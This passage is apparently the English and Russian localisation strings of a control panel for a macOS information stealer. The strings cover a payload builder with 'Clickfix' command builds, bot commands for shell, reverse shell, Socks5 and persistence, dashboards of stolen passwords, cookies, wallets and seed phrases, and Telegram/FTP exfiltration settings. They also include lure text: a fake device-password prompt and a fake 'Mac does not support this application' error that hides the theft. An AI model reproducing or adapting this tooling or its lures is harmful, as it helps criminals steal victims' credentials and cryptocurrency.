            nonPersistentBotsInfo: `Non-persistent bots is online only for 3 days`,
            socksActiveInfo: `Socks are active for 24 hours`,
            subscription: `Subscription`,
            expiresIn: `Expires in {{count}} days`,
            appTitle: `App`,
            returnToAdmin: `Return to Admin`,
            seeds: `Seeds`,
            revshells: `Reverse Shells`
        },
        admin: {
            addUser: `Add User`,
            goToBlacklist: `Go to Blacklist`,
            nickname: `Nickname`,
            subExpiry: `Sub Expiry`,
            action: `Action`,
            edit: `Edit`,
            delete: `Delete`,
            never: `Never`,
            modalEditTitle: `Edit User`,
            modalAddTitle: `Add User`,
            username: `Username`,
            password: `Password`,
            cancel: `Cancel`,
            create: `Create`,
            save: `Save`,
            processing: `Processing...`,
            confirm: `Confirm`,
            close: `Close`,
            deleteUserPrompt: `Delete user {{username}}?`,
            safeExit: `SAFE EXIT`,
            safeExitTitle: `Confirm Safe Exit`,
            safeExitPrompt: `Are you sure you want to perform a Safe Exit? This action will destroy the current session.`,
            safeExitWarning: `This action cannot be undone`,
            loginAs: `Login as`,
            loginAsUser: `Login as User`,
            deleteWarning: `This action cannot be undone`,
            deleting: `Deleting...`,
            dateFormat: `MM.DD.YYYY`
        },
        auth: {
            login: `Login`,
            password: `Password`,
            signIn: `Sign in`,
            signingIn: `Signing in...`,
            welcomeBack: `Welcome Back`,
            loginToAccount: `Login to your account to continue`,
            enterUsername: `Enter your username`,
            enterPassword: `Enter your password`,
            invalidCredentials: `Invalid credentials. Attempts remaining: {{count}}. Please try again.`,
            secureLogin: `Your connection is secure and encrypted`
        },
        blacklist: {
            title: `Black List Management`,
            searchPlaceholder: `Search by IP...`,
            ipAddress: `IP Address`,
            action: `Action`,
            delete: `Delete`,
            loading: `Loading...`,
            noIpFound: `No IPs found for your search.`,
            empty: `The blacklist is empty.`,
            confirmDeleteTitle: `Confirm Deletion`,
            confirmDeletePrompt: `Are you sure you want to delete the IP`,
            backToAdmin: `Back to Admin`
        },
        bots: {
            botLabel: `Bot`,
            online: `Online`,
            offline: `Offline`,
            repeatPersistent: `Repeat Persistent`,
            deleteAll: `Delete all bots`,
            searchPlaceholder: `Search by IP...`,
            id: `ID`,
            ip: `IP`,
            macOS: `MacOS`,
            lastConnect: `Last connect`,
            persistent: `Persistent`,
            status: `Status`,
            action: `Action`,
            country: `Country`,
            yes: `Yes`,
            no: `No`,
            loading: `Loading bots...`,
            noBots: `No bots found.`,
            menu: {
                doShell: `Do shell`,
                repeatStealer: `Repeat stealer`,
                enableSocks: `Enable Socks5`,
                enableShell: `Enable Reverse Shell`,
                doPersistent: `Do Persistent`,
                deleteBot: `Delete bot`
            },
            never: `Never`,
            invalidTime: `Invalid time`,
            justNow: `just now`,
            yAgo: `{count}y ago`,
            moAgo: `{count}mo ago`,
            wAgo: `{count}w ago`,
            dAgo: `{count}d ago`,
            hAgo: `{count}h ago`,
            mAgo: `{count}m ago`,
            sAgo: `{count}s ago`,
            na: `N/A`,
            invalidDate: `Invalid Date`,
            firstConnect: `First connect`,
            loadingError: `Error loading bots data.`,
            requestFailed: `Request failed with status {{status}}`,
            unknownFetchError: `An unknown error occurred while fetching proxies.`,
            socksUrl: `Socks URL`,
            copy: `Copy`,
            openLink: `Open Link`,
            failedToDelete: `Failed to delete proxy`,
            deletedSuccess: `Proxy deleted successfully.`,
            unknownDeleteError: `Unknown error deleting proxy.`
        },
        builder: {
            title: `Builder`,
            requiredParams: `Required Params`,
            buildHistory: `Recent Builds`,
            buildType: `Build Type`,
            unixTypeLabel: `unix (effective up to macOS 14)`,
            appTypeLabel: `.app (effective from macOS 15 and later)`,
            commandTypeLabel: `Command (for Clickfix)`,
            pkgTypeLabel: `pkg (Installer)`,
            serverAddress: `Server Address`,
            serverAddressPlaceholder: `e.g., http://your-server.com`,
            filename: `Filename`,
            icon: `Icon (.icns)`,
            iconPlaceholder: `Upload icon file (.icns)`,
            iconFormatError: `Icon file must be .icns format.`,
            fileOptions: `Background Settings (optional)`,
            background: `Background (optional, .png only)`,
            backgroundFormatError: `Background file must be .png format.`,
            position: `Position (optional)`,
            positionPlaceholder: `e.g., 400 200`,
            passwordDialog: `Password Dialog Configuration (optional)`,
            dialogTitle: `Dialog Title`,
            dialogDescription: `Dialog Description`,
            passwordDialogTitleDefault: `Password Request`,
            passwordDialogDescriptionDefault: `Please enter device password to continue.`,
            preview: `Preview`,
            buildSectionTitle: `Build (optional)`,
            buildId: `Build ID`,
            telegram: `Telegram (optional)`,
            chatIdFiles: `Chat ID for files`,
            chatIdNotifications: `Chat ID for notifications`,
            fileGrabber: `FileGrabber (optional)`,
            fileGrabberPlaceholder: `FileGrabber Extensions (.txt, .pdf, .wallet etc)`,
            appleScript: `AppleScript (optional)`,
            appleScriptPlaceholder: `set somevar to "hello"
display dialog somevar`,
            save: `Save`,
            cancel: `Cancel`,
            building: `Building`,
            buildingNotification: `Building, please wait...`,
            buildingProjectTitle: `Building Project`,
            buildStep0: `Preparing payload...`,
            buildStep1: `Uploading assets...`,
            buildStep2: `Compiling executable...`,
            buildStep3: `Signing package...`,
            buildStep4: `Finalizing build...`,
            attention: `Attention`,
            zipPasswordInfo: `All created ZIP archives are encrypted. Password:`,
            buildFailedError: `Build failed. Status: {{status}}. {{errorText}}`,
            invalidPositionFormat: `Invalid position format. Please use 'x y' format (e.g., 400 200).`,
            invalidCommandFormat: `Received an invalid command format from the server.`,
            buildSuccess: `Build successful! Download has started.`,
            unexpectedError: `An unexpected error occurred during build.`,
            yourCommand: `Your command`,
            fileGrabberOptional: `FileGrabber (optional)`,
            fileGrabberTitle: `FileGrabber`,
            fileGrabberDescription: `FileGrabber requires user permission for file collection. Safari cookies and user notes are collected automatically, regardless of this switch.`,
            fileGrabberExtensions: `FileGrabber Extensions`,
            fileGrabberOn: `FileGrabber On/Off`,
            reverseNotesOn: `Reserve Notes On/Off`,
            reverseNotesTooltip: `Reserve notes collection if the main one is blocked, this will include one more alert`,
            browserHistoryTitle: `Browser History Collection`,
            browserHistoryOn: `Browser History On/Off`,
            syntheticErrorSectionTitle: `Setting up a Synthetic Error (optional)`,
            syntheticErrorOn: `Display an error after the stealer finishes running On/Off`,
            syntheticErrorMessage: `Error Message`,
            syntheticErrorMessagePlaceholder: `Your Mac does not support this application. Try reinstalling or downloading the version for your system.`,
            syntheticErrorDescription: `This message will be displayed in the modal window after the stealer is running as an error text`,
            selectPngBackground: `Select .png background`,
            clickToSetPosition: `Click to set position`,
            okButton: `OK`,
            toggle: `Toggle`
        },
        cookies: {
            googleToken: `Google token`,
            proxy: `Proxy`,
            restore: `Restore`,
            tokenPlaceholder: `Enter your Google token...`,
            proxyPlaceholder: `HTTP proxy address...`,
            optional: `Optional`
        },
        dashboard: {
            allLogs: `All logs`,
            newLogs: `New logs`,
            uniqueLogs: `Unique logs`,
            wallets: `Wallets`,
            logsWithWallets: `Logs with Wallets`,
            cookies: `Cookies`,
            passwords: `Passwords`,
            domains: `Domains`,
            logsActivity: `Logs Activity`,
            countries: `Country Distribution`,
            other: `Other`,
            noData: `No data available`
        },
        linkCreator: {
            guestLink: `Guest Link`,
            statsLink: `Stats Link`,
            buildId: `BuildID`,
            getLink: `Get Link`,
            generating: `Generating...`,
            placeholder: `Enter BuildID for {{type}} link`,
            placeholderGuest: `guest`,
            placeholderStats: `stats`,
            yourLink: `Your {{linkType}} link`,
            openLink: `Open Link`
        },
        statDisplay: {
            goToRawJson: `Go to Raw JSON`
        },
        guestMode: {
            tokenMissing: `Guest token is missing.`,
            errorFetchingData: `Error fetching guest data:`,
            linkNotFound: `Guest link not found or expired.`,
            accessDenied: `Access denied for this guest link.`,
            serverError: `Server error`,
            loadFailed: `Failed to load guest data.`,
            tokenNotFound: `Guest token not found in URL.`,
            buildLabel: `Build`,
            noStats: `No statistics data found for this view.`,
            statsUnavailable: `Statistics data is unavailable.`,
            loadingData: `Loading data...`,
            noLogsFound: `No logs found for this guest view.`
        },
        logs: {
            downloadAll: `Download All`,
            downloadWallets: `Download only with Wallets`,
            downloadWithoutWallets: `Download Without Wallets`,
            downloadOptions: `Download Options`,
            deleteAll: `Delete All`,
            downloadSelected: `Download Selected`,
            deleteSelected: `Delete Selected`,
            cancel: `Cancel`,
            itemsSelected: `{count} items selected`,
            search: `Search`,
            id: `ID`,
            ip: `IP`,
            buildId: `Build ID`,
            date: `Date`,
            data: `Data`,
            status: `Status`,
            action: `Action`,
            wallets: `Wallets`,
            cookies: `Cookies`,
            passwords: `Passwords`,
            domains: `Domains`,
            new: `New`,
            checked: `Checked`,
            download: `Download`,
            noLogsFound: `No logs found for these parameters.`,
            walletsShort: `Wallets`,
            passShort: `Pass`,
            domainsShort: `Domains`,
            valuableDomains: `Valuable Domains`,
            isDup: `IsDup`,
            searchModal: {
                command: `Command`,
                dateStart: `Date start`,
                dateEnd: `Date end`,
                timeStart: `Time start`,
                timeEnd: `Time end`,
                hour: `Hour`,
                day: `Day`,
                week: `Week`,
                month: `Month`,
                year: `Year`,
                all: `All`,
                domains: `Domains`,
                wallets: `Wallets`,
                countries: `Countries`,
                deleteCountries: `Delete Countries`,
                logId: `Log ID`,
                buildTags: `Build Tags`,
                statusAll: `Status (All)`,
                unchecked: `Unchecked`,
                checked: `Checked`,
                ip: `IP`,
                search: `Search`,
                reset: `Reset`,
                cancel: `Cancel`,
                dateTimeRangeHeader: `Date & Time Range`,
                quickSelectHeader: `Quick Select`,
                advancedFiltersHeader: `Advanced Filters`,
                additionalFiltersHeader: `Additional Filters`,
                statusLabel: `Status`,
                ipAddressLabel: `IP Address`,
                onlyCryptoWallets: `Only logs with Ledger/Exodus/Metamask`
            },
            balance: `Balance`,
            haveTelegram: `Have Telegram`,
            notesCount: `Notes Count`
        },
        settings: {
            account: `Account`,
            changePassword: `Change password`,
            saveChanges: `Save changes`,
            telegram: `Telegram`,
            botToken: `Telegram Bot Token`,
            chatId: `Telegram Chat ID`,
            chatIdNotifications: `Telegram Chat ID for notification`,
            chatIdCrypto: `ChatID only for crypto`,
            chatIdLedger: `ChatID for ledger seeds import`,
            cryptochecker: `Cryptochecker`,
            antidup: `Antidup`,
            ftp: `FTP`,
            host: `Host`,
            username: `Username`,
            password: `Password`,
            directory: `Directory`,
            directoryPlaceholder: `e.g., /host/data/main`,
            save: `Save`,
            cancel: `Cancel`,
            interface: `Interface`,
            animations: `Animations`,
            telegramTemplate: `Telegram Message Template`,
            telegramTemplateDesc: `Customize the notification message sent to Telegram. Use tags like {{ID}} to insert dynamic data.`,
            preview: `Live Preview`
        },
        socks: {
            filter: `Filter`,
            proxyIp: `Proxy IP`,
            cc: `CC`,
            action: `Action`,
            copyUrl: `Copy URL`,
            delete: `Delete`,
            loading: `Loading...`,
            noResults: `No results found.`
        },
        alert: {
            error: `Error`,
            copied: `Copied`,
            copyCommand: `Copy Command`,
            isRequired: `is required`,
            notification: `Notification`,
            confirmAction: `Confirm Action`,
            httpError: `HTTP Error`,
            success: `Success`,
            nonJson: `Non-JSON response`,
            failedAction: `Failed to perform action: {{action}}`,
            commandSentSuccess: `Command {{action}} sent successfully.`,
            unknownErrorAction: `Unknown error during {{action}}.`,
            idCopied: `ID copied to clipboard!`,
            failedToCopy: `Failed to copy ID.`,
            shellEmpty: `Shell command cannot be empty.`,
            failedToDeleteBot: `Failed to delete bot`,
            botDeleted: `Bot {{botId}} deleted.`,
            errorDeletingBot: `Error deleting bot.`,
            noBotsToDelete: `There are no bots to delete.`,
            failedToDeleteAllBots: `Failed to delete all bots`,
            allBotsDeleted: `All bots have been deleted.`,
            unknownError: `An unknown error occurred.`,
            noBotsToSendCmd: `There are no bots to send the command to.`,
            failedToSendCmd: `Failed to send command`,
            repeatAllSuccess: `'Repeat all' command sent successfully to all bots.`,
            errorSendingCmd: `Error sending command.`,
            confirmDeletion: `Confirm Deletion`,
            deleteBotPrompt: `Are you sure you want to delete bot {{idOrTarget}}? This action cannot be undone.`,
            deleteAllBotsTitle: `Delete All Bots`,
            deleteAllBotsPrompt: `Are you sure you want to delete ALL bots? This action cannot be undone.`,
            deleteAll: `Delete All`,
            confirmRepeatAllTitle: `Confirm Repeat All`,
            confirmRepeatAllPrompt: `Are you sure you want to send the 'Repeat Stealer' command to ALL bots?`,
            sendToAll: `Send to All`,
            confirmRepeatTitle: `Confirm Repeat`,
            confirmRepeatPrompt: `Are you sure you want to send the 'Repeat Stealer' command to bot {{idOrTarget}}?`,
            sendCommand: `Send Command`,
            enableSocks5Title: `Enable Socks5`,
            enableSocks5Prompt: `Are you sure you want to enable Socks5 for bot {{idOrTarget}}?`,
            enableShellTitle: `Enable Reverse Shell`,
            enableShellPrompt: `Are you sure you want to enable Reverse Shell for bot {{idOrTarget}}?`,
            enable: `Enable`,
            makePersistentTitle: `Make Persistent`,
            makePersistentPrompt: `Are you sure you want to make bot {{idOrTarget}} persistent?`,
            enterShellCommand: `Enter shell command...`,
            unhandledActionPrompt: `Unhandled alert action: {{alert}}`,
            confirm: `Confirm`,
            close: `Close`,
            selectionLimit: `Selection limit reached. You can only select up to 15 logs manually.`,
            downloadLogPrompt: `Download log?`,
            deleteLogPrompt: `Delete log?`,
            deleteAllLogsPrompt: `Delete All Logs?`,
            downloadSelectedPrompt: `Download selected logs?`,
            deleteSelectedPrompt: `Delete selected logs?`,
            maxLimit: `(Max 15)`,
            tokenNotFound: `Authentication token not found. Please log in again.`,
            errorCreatingLink: `Error creating link: {{status}}`,
            failedToCreateLink: `Failed to create link.`,
            copyLink: `Copy link`,
            passwordChangedSuccess: `Password changed successfully!`,
            couldNotChangePassword: `Could not change password.`,
            settingsSavedSuccess: `Settings saved successfully!`,
            couldNotSaveSettings: `Could not save settings.`,
            errorConnectingServer: `Error connecting to the server.`,
            successTitle: `Success`,
            errorTitle: `Error`,
            passwordPlaceholder: `Password`,
            tokenPlaceholder: `Token`,
            chatIdPlaceholder: `Chat ID`,
            usernameRequired: `Username is required`,
            failedToCreateUser: `Failed to create user`,
            failedToUpdateUser: `Failed to update user`,
            unexpectedError: `An unexpected error occurred`,
            checkAllFields: `Please check all required fields`,
            logDeletedSuccess: `Log deleted successfully`,
            allLogsDeletedSuccess: `All logs deleted successfully`
        },
        errors: {
            deleteLog: `Failed to delete log`,
            deleteAllLogs: `Failed to delete all logs`
        },
        errorBoundary: {
            title: `Something went wrong`,
            description: `An unexpected error occurred. Please try to reload the page.`,
            retry: `Reload Page`,
            localTitle: `Widget error`,
            localRetry: `Retry`
        },
        common: {
            empty: `Nothing found`,
            noSeedsDesc: `All collected seeds will appear here.`,
            noBotsDesc: `All your active bots will appear here once they connect to the server.`,
            noUsersDesc: `You can add new users using the 'Add User' button above.`,
            noSocksDesc: `Active socks connections for your bots will be listed here.`,
            noRevShellsDesc: `Active reverse shell connections will be listed here.`
        },
        seeds: {
            title: `Seeds`,
            seed: `Seed`,
            username: `Username`,
            date: `Date`,
            walletType: `Wallet Type`,
            passphrase: `Passphrase`,
            ip: `IP`,
            country: `Country`,
            action: `Action`,
            copy: `Copy`,
            loading: `Loading seeds...`,
            noSeeds: `No seeds found.`,
            copied: `Seed copied to clipboard!`
        },
        revshells: {
            ip: `IP`,
            cc: `CC`,
            action: `Action`,
            connect: `Connect`,
            delete: `Delete`,
            deletedSuccess: `Reverse shell deleted successfully.`,
            unknownFetchError: `An unknown error occurred while fetching reverse shells.`,
            unknownDeleteError: `Unknown error deleting reverse shell.`
        }
    },
    VFe = {
        nav: {
            dashboard: `Статистика`,
            builder: `Билдер`,
            logs: `Логи`,
            bots: `Боты`,
            linkCreator: `Создать ссылку`,
            cookies: `Восстановление Google Cookies`,
            settings: `Настройки`,
            admin: `Админ панель`,
            signOut: `Выйти`,
            subscriptionExpires: `Подписка истекает через`,
            days: `{count} дней`,
            guestView: `Гостевой вид`,
            socks: `Socks`,
            nonPersistentBotsInfo: `Непостоянные боты онлайн только в течение 3 дней`,
            socksActiveInfo: `Socks активны в течение 24 часов`,
            subscription: `Подписка`,
            expiresIn: `Истекает через {{count}} дней`,
            appTitle: `Приложение`,
            returnToAdmin: `Вернуться в админ-панель`,
            seeds: `Сиды`,
            revshells: `Reverse Shells`
        },
        admin: {
            addUser: `Добавить пользователя`,
            goToBlacklist: `Перейти к черному списку`,
            nickname: `Никнейм`,
            subExpiry: `Окончание подписки`,
            action: `Действие`,
            edit: `Изменить`,
            delete: `Удалить`,
            never: `Никогда`,
            modalEditTitle: `Изменить пользователя`,
            modalAddTitle: `Добавить пользователя`,
            username: `Имя пользователя`,
            password: `Пароль`,
            cancel: `Отмена`,
            create: `Создать`,
            save: `Сохранить`,
            processing: `Обработка...`,
            confirm: `Подтвердить`,
            close: `Закрыть`,
            deleteUserPrompt: `Удалить пользователя {{username}}?`,
            safeExit: `БЕЗОПАСНЫЙ ВЫХОД`,
            safeExitTitle: `Подтвердите безопасный выход`,
            safeExitPrompt: `Вы уверены, что хотите выполнить безопасный выход? Это действие уничтожит текущую сессию.`,
            safeExitWarning: `Это действие необратимо`,
            loginAs: `Войти как`,
            loginAsUser: `Войти`,
            deleteWarning: `Это действие необратимо`,
            deleting: `Удаление...`,
            dateFormat: `MM.DD.YYYY`
        },
        auth: {
            login: `Логин`,
            password: `Пароль`,
            signIn: `Войти`,
            signingIn: `Вход...`,
            welcomeBack: `С возвращением`,
            loginToAccount: `Войдите в свой аккаунт, чтобы продолжить`,
            enterUsername: `Введите логин`,
            enterPassword: `Введите пароль`,
            invalidCredentials: `Неверные учетные данные. Оставшиеся попытки: {{count}}. Попробуйте снова.`,
            secureLogin: `Ваше соединение защищено и зашифровано`
        },
        blacklist: {
            title: `Управление черным списком`,
            searchPlaceholder: `Поиск по IP...`,
            ipAddress: `IP Адрес`,
            action: `Действие`,
            delete: `Удалить`,
            loading: `Загрузка...`,
            noIpFound: `IP-адреса по вашему запросу не найдены.`,
            empty: `Черный список пуст.`,
            confirmDeleteTitle: `Подтвердите удаление`,
            confirmDeletePrompt: `Вы уверены, что хотите удалить IP`,
            backToAdmin: `Назад в админку`
        },
        bots: {
            botLabel: `Бот`,
            online: `Онлайн`,
            offline: `Оффлайн`,
            repeatPersistent: `Repeat Persistent`,
            deleteAll: `Удалить всех ботов`,
            searchPlaceholder: `Поиск по IP...`,
            id: `ID`,
            ip: `IP`,
            macOS: `MacOS`,
            lastConnect: `Последнее подключение`,
            persistent: `Постоянный`,
            status: `Статус`,
            action: `Действие`,
            country: `Страна`,
            yes: `Да`,
            no: `Нет`,
            loading: `Загрузка ботов...`,
            noBots: `Боты не найдены.`,
            menu: {
                doShell: `Выполнить shell`,
                repeatStealer: `Повторить стилер`,
                enableSocks: `Включить Socks5`,
                enableShell: `Включить Reverse Shell`,
                doPersistent: `Сделать постоянным`,
                deleteBot: `Удалить бота`
            },
            never: `Никогда`,
            invalidTime: `Неверное время`,
            justNow: `только что`,
            yAgo: `{count}л назад`,
            moAgo: `{count}мес назад`,
            wAgo: `{count}нед назад`,
            dAgo: `{count}д назад`,
            hAgo: `{count}ч назад`,
            mAgo: `{count}м назад`,
            sAgo: `{count}с назад`,
            na: `Н/Д`,
            invalidDate: `Неверная дата`,
            firstConnect: `Первое подключение`,
            loadingError: `Ошибка загрузки данных ботов.`,
            requestFailed: `Запрос не выполнен со статусом {{status}}`,
            unknownFetchError: `Неизвестная ошибка при получении прокси.`,
            socksUrl: `URL Socks-прокси`,
            copy: `Копировать`,
            openLink: `Открыть ссылку`,
            failedToDelete: `Не удалось удалить прокси`,
            deletedSuccess: `Прокси успешно удален.`,
            unknownDeleteError: `Неизвестная ошибка при удалении прокси.`
        },
        builder: {
            title: `Конструктор`,
            requiredParams: `Обязательные параметры`,
            buildHistory: `Недавние сборки`,
            buildType: `Тип сборки`,
            unixTypeLabel: `unix (актуален до macOS 14)`,
            appTypeLabel: `.app (актуален с macOS 15 и выше)`,
            commandTypeLabel: `Команда (для Clickfix)`,
            pkgTypeLabel: `pkg (Инсталлятор)`,
            serverAddress: `Адрес сервера`,
            serverAddressPlaceholder: `напр., http://vash-server.com`,
            filename: `Имя файла`,
            icon: `Иконка (.icns)`,
            iconPlaceholder: `Загрузить файл иконки (.icns)`,
            iconFormatError: `Файл иконки должен быть в формате .icns.`,
            fileOptions: `Фоновые настройки (необязательно)`,
            background: `Фон (необязательно, только .png)`,
            backgroundFormatError: `Файл фона должен быть в формате .png.`,
            position: `Позиция (необязательно)`,
            positionPlaceholder: `напр., 400 200`,
            passwordDialog: `Настройка диалога пароля (необязательно)`,
            dialogTitle: `Заголовок диалога`,
            dialogDescription: `Описание диалога`,
            passwordDialogTitleDefault: `Password Request`,
            passwordDialogDescriptionDefault: `Please enter device password to continue.`,
            preview: `Предпросмотр`,
            buildSectionTitle: `Сборка (необязательно)`,
            buildId: `ID билда`,
            telegram: `Telegram (необязательно)`,
            chatIdFiles: `Chat ID для файлов`,
            chatIdNotifications: `Chat ID для уведомлений`,
            fileGrabber: `FileGrabber (необязательно)`,
            fileGrabberPlaceholder: `Расширения FileGrabber (.txt, .pdf, .wallet и т.д.)`,
            appleScript: `AppleScript (необязательно)`,
            appleScriptPlaceholder: `set somevar to "hello"\\ndisplay dialog somevar`,
            save: `Сохранить`,
            cancel: `Отмена`,
            building: `Сборка`,
            buildingNotification: `Сборка, пожалуйста, подождите...`,
            buildingProjectTitle: `Сборка проекта`,
            buildStep0: `Подготовка пейлоада...`,
            buildStep1: `Загрузка ассетов...`,
            buildStep2: `Компиляция файла...`,
            buildStep3: `Подпись пакета...`,
            buildStep4: `Завершение сборки...`,
            attention: `Внимание`,
            zipPasswordInfo: `Все созданные ZIP архивы зашифрованы. Пароль:`,
            buildFailedError: `Сборка не удалась. Статус: {{status}}. {{errorText}}`,
            invalidPositionFormat: `Неверный формат позиции. Используйте формат 'x y' (напр., 400 200).`,
            invalidCommandFormat: `Получен неверный формат команды с сервера.`,
            buildSuccess: `Сборка успешно завершена! Загрузка началась.`,
            unexpectedError: `Произошла непредвиденная ошибка во время сборки.`,
            yourCommand: `Ваша команда`,
            fileGrabberOptional: `FileGrabber (необязательно)`,
            fileGrabberTitle: `FileGrabber`,
            fileGrabberDescription: `Для сбора файлов FileGrabber требует разрешения пользователя. Cookies Safari и заметки собираются автоматически, независимо от этого переключателя.`,
            fileGrabberExtensions: `Расширения FileGrabber`,
            fileGrabberOn: `FileGrabber вкл/выкл`,
            reverseNotesOn: `Запасной сбор заметок вкл/выкл`,
            reverseNotesTooltip: `Запасной сбор заметок, если основной заблокирован, это вызовет еще один алерт`,
            browserHistoryTitle: `Сбор истории браузера`,
            browserHistoryOn: `Сбор истории браузера вкл/выкл`,
            syntheticErrorSectionTitle: `Настройка фейковой ошибки (необязательно)`,
            syntheticErrorOn: `Показывать ошибку после выполнения стиллера вкл/выкл`,
            syntheticErrorMessage: `Сообщение об ошибке`,
            syntheticErrorMessagePlaceholder: `Your Mac does not support this application. Try reinstalling or downloading the version for your system.`,
            syntheticErrorDescription: `Это сообщение будет отображено в модальном окне после завершения работы стиллера как текст ошибки`,
            selectPngBackground: `Выберите .png фон`,
            clickToSetPosition: `Нажмите, чтобы установить позицию`,
            okButton: `OK`,
            toggle: `Переключатель`
        },
        cookies: {
            googleToken: `Токен Google`,
            proxy: `Прокси`,
            restore: `Восстановить`,
            tokenPlaceholder: `Введите ваш токен Google...`,
            proxyPlaceholder: `HTTP адрес прокси...`,
            optional: `Опционально`
        },
        dashboard: {
            allLogs: `Все логи`,
            newLogs: `Новые логи`,
            uniqueLogs: `Уникальные логи`,
            wallets: `Кошельки`,
            logsWithWallets: `Логи с кошельками`,
            cookies: `Куки`,
            passwords: `Пароли`,
            domains: `Домены`,
            logsActivity: `Активность логов`,
            countries: `Распределение по странам`,
            other: `Другие`,
            noData: `Нет данных`
        },
        linkCreator: {
            guestLink: `Гостевая ссылка`,
            statsLink: `Ссылка на статистику`,
            buildId: `BuildID`,
            getLink: `Получить ссылку`,
            generating: `Генерация...`,
            placeholder: `Введите BuildID для {{type}} ссылки`,
            placeholderGuest: `гостевой`,
            placeholderStats: `статистической`,
            yourLink: `Ваша {{linkType}} ссылка`,
            openLink: `Открыть ссылку`
        },
        statDisplay: {
            goToRawJson: `Перейти к Raw JSON`
        },
        guestMode: {
            tokenMissing: `Гостевой токен отсутствует.`,
            errorFetchingData: `Ошибка при получении гостевых данных:`,
            linkNotFound: `Гостевая ссылка не найдена или истекла.`,
            accessDenied: `Доступ по этой гостевой ссылке запрещен.`,
            serverError: `Ошибка сервера`,
            loadFailed: `Не удалось загрузить гостевые данные.`,
            tokenNotFound: `Гостевой токен не найден в URL.`,
            buildLabel: `Сборка`,
            noStats: `Статистические данные для этого представления не найдены.`,
            statsUnavailable: `Статистические данные недоступны.`,
            loadingData: `Загрузка данных...`,
            noLogsFound: `Логи для этого гостевого представления не найдены.`
        },
        logs: {
            downloadAll: `Скачать все`,
            downloadWallets: `Скачать только с кошельками`,
            downloadWithoutWallets: `Скачать без кошельков`,
            downloadOptions: `Параметры скачивания`,
            deleteAll: `Удалить все`,
            downloadSelected: `Скачать выбранное`,
            deleteSelected: `Удалить выбранное`,
            cancel: `Отмена`,
            itemsSelected: `Выбрано: {{count}}`,
            search: `Поиск`,
            id: `ID`,
            ip: `IP`,
            buildId: `ID билда`,
            date: `Дата`,
            data: `Данные`,
            status: `Статус`,
            action: `Действие`,
            wallets: `Кошельки`,
            cookies: `Cookies`,
            passwords: `Пароли`,
            domains: `Домены`,
            new: `Новый`,
            checked: `Проверен`,
            download: `Скачать`,
            noLogsFound: `Логи по заданным параметрам не найдены.`,
            walletsShort: `Кош.`,
            passShort: `Пароли`,
            domainsShort: `Домены`,
            valuableDomains: `Ценные домены`,
            isDup: `Дубликат`,
            searchModal: {
                command: `Команда`,
                dateStart: `Дата начала`,
                dateEnd: `Дата окончания`,
                timeStart: `Время начала`,
                timeEnd: `Время окончания`,
                hour: `Час`,
                day: `День`,
                week: `Неделя`,
                month: `Месяц`,
                year: `Год`,
                all: `Всё`,
                domains: `Домены`,
                wallets: `Кошельки`,
                countries: `Страны`,
                deleteCountries: `Исключить страны`,
                logId: `ID Лога`,
                buildTags: `Теги сборки`,
                statusAll: `Статус (Все)`,
                unchecked: `Непроверенные`,
                checked: `Проверенные`,
                ip: `IP`,
                search: `Поиск`,
                reset: `Сбросить`,
                cancel: `Отмена`,
                dateTimeRangeHeader: `Дата и время`,
                quickSelectHeader: `Быстрый выбор`,
                advancedFiltersHeader: `Расширенные фильтры`,
                additionalFiltersHeader: `Дополнительные фильтры`,
                statusLabel: `Статус`,
                ipAddressLabel: `IP Адрес`,
                onlyCryptoWallets: `Только логи с Ledger/Exodus/Metamask`
            },
            balance: `Баланс`,
            haveTelegram: `Есть Telegram`,
            notesCount: `Количество заметок`
        },
        settings: {
            account: `Аккаунт`,
            changePassword: `Изменить пароль`,
            saveChanges: `Сохранить изменения`,
            telegram: `Telegram`,
            botToken: `Токен Telegram бота`,
            chatId: `ID чата Telegram`,
            chatIdNotifications: `ID чата Telegram для уведомлений`,
            chatIdCrypto: `ChatID только для крипто`,
            chatIdLedger: `ChatID для импорта seed-фраз ledger`,
            cryptochecker: `Крипточекер`,
            antidup: `Анти-дубликат`,
            ftp: `FTP`,
            host: `Хост`,
            username: `Имя пользователя`,
            password: `Пароль`,
            directory: `Директория`,
            directoryPlaceholder: `напр., /host/data/main`,
            save: `Сохранить`,
            cancel: `Отмена`,
            interface: `Интерфейс`,
            animations: `Анимации`,
            telegramTemplate: `Шаблон сообщения Telegram`,
            telegramTemplateDesc: `Настройте сообщение уведомления, отправляемое в Telegram. Используйте теги, такие как {{ID}}, для вставки динамических данных.`,
            preview: `Предпросмотр`
        },
        socks: {
            filter: `Фильтр`,
            proxyIp: `IP прокси`,
            cc: `Страна`,
            action: `Действие`,
            copyUrl: `Копировать URL`,
            delete: `Удалить`,
            loading: `Загрузка...`,
            noResults: `Результаты не найдены.`
        },
        alert: {
            error: `Ошибка`,
            copied: `Скопировано`,
            copyCommand: `Копировать Команду`,
            isRequired: `обязательно`,
            notification: `Уведомление`,
            confirmAction: `Подтвердите действие`,
            httpError: `HTTP Ошибка`,
            success: `Успех`,
            nonJson: `Не JSON ответ`,
            failedAction: `Не удалось выполнить действие: {{action}}`,
            commandSentSuccess: `Команда {{action}} успешно отправлена.`,
            unknownErrorAction: `Неизвестная ошибка во время {{action}}.`,
            idCopied: `ID скопирован в буфер обмена!`,
            failedToCopy: `Не удалось скопировать ID.`,
            shellEmpty: `Команда shell не может быть пустой.`,
            failedToDeleteBot: `Не удалось удалить бота`,
            botDeleted: `Бот {{botId}} удален.`,
            errorDeletingBot: `Ошибка при удалении бота.`,
            noBotsToDelete: `Нет ботов для удаления.`,
            failedToDeleteAllBots: `Не удалось удалить всех ботов`,
            allBotsDeleted: `Все боты были удалены.`,
            unknownError: `Произошла неизвестная ошибка.`,
            noBotsToSendCmd: `Нет ботов для отправки команды.`,
            failedToSendCmd: `Не удалось отправить команду`,
            repeatAllSuccess: `'Repeat all' команда успешно отправлена всем ботам.`,
            errorSendingCmd: `Ошибка при отправке команды.`,
            confirmDeletion: `Подтверждение удаления`,
            deleteBotPrompt: `Вы уверены, что хотите удалить бота {{idOrTarget}}? Это действие нельзя отменить.`,
            deleteAllBotsTitle: `Удалить всех ботов`,
            deleteAllBotsPrompt: `Вы уверены, что хотите удалить ВСЕХ ботов? Это действие нельзя отменить.`,
            deleteAll: `Удалить Все`,
            confirmRepeatAllTitle: `Подтвердить Repeat All`,
            confirmRepeatAllPrompt: `Вы уверены, что хотите отправить команду 'Repeat Stealer' ВСЕМ ботам?`,
            sendToAll: `Отправить Всем`,
            confirmRepeatTitle: `Подтвердить Repeat`,
            confirmRepeatPrompt: `Вы уверены, что хотите отправить команду 'Repeat Stealer' боту {{idOrTarget}}?`,
